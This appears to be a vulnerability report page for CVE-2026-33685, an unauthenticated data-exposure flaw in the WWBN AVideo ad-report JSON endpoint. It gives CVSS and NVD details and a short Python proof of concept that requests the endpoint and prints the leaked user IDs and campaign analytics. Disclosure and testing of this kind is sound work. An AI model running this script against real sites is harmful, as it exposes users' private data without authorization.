Security Vulnerability Report
中文
CVE-2026-33685 CVSS 5.3 MEDIUM

CVE-2026-33685

Published: 2026-03-23 19:16:42
Last Modified: 2026-03-25 19:04:36

Description

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/AD_Server/reports.json.php` endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (`reports.php`) and CSV export (`getCSV.php`) both correctly enforce `User::isAdmin()`, but the JSON API was left unprotected. Commit daca4ffb1ce19643eecaa044362c41ac2ce45dde contains a patch.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE
WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # Target URL of the vulnerable endpoint target_url = "http://target-domain.com/plugin/AD_Server/reports.json.php" def check_vulnerability(url): try: # Send a GET request to the vulnerable endpoint response = requests.get(url, timeout=10) # Check if the response status is 200 and contains JSON data if response.status_code == 200: try: data = response.json() print("[+] Vulnerability Confirmed!") print("[+] Extracted Data:") print(data) except ValueError: print("[-] Response is not valid JSON.") else: print(f"[-] Target returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": check_vulnerability(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33685", "sourceIdentifier": "[email protected]", "published": "2026-03-23T19:16:41.863", "lastModified": "2026-03-25T19:04:36.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/AD_Server/reports.json.php` endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (`reports.php`) and CSV export (`getCSV.php`) both correctly enforce `User::isAdmin()`, but the JSON API was left unprotected. Commit daca4ffb1ce19643eecaa044362c41ac2ce45dde contains a patch."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de vídeo de código abierto. En versiones hasta la 26.0 inclusive, el endpoint 'plugin/AD_Server/reports.json.php' no realiza comprobaciones de autenticación ni autorización, permitiendo a cualquier atacante no autenticado extraer datos analíticos de campañas publicitarias, incluyendo títulos de vídeo, nombres de canales de usuario, IDs de usuario, nombres de campañas publicitarias y recuentos de impresiones/clics. La contraparte HTML ('reports.php') y la exportación CSV ('getCSV.php') ambas aplican correctamente 'User::isAdmin()', pero la API JSON quedó desprotegida. El commit daca4ffb1ce19643eecaa044362c41ac2ce45dde contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/daca4ffb1ce19643eecaa044362c41ac2ce45dde", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-j36m-74g2-7m95", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-j36m-74g2-7m95", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}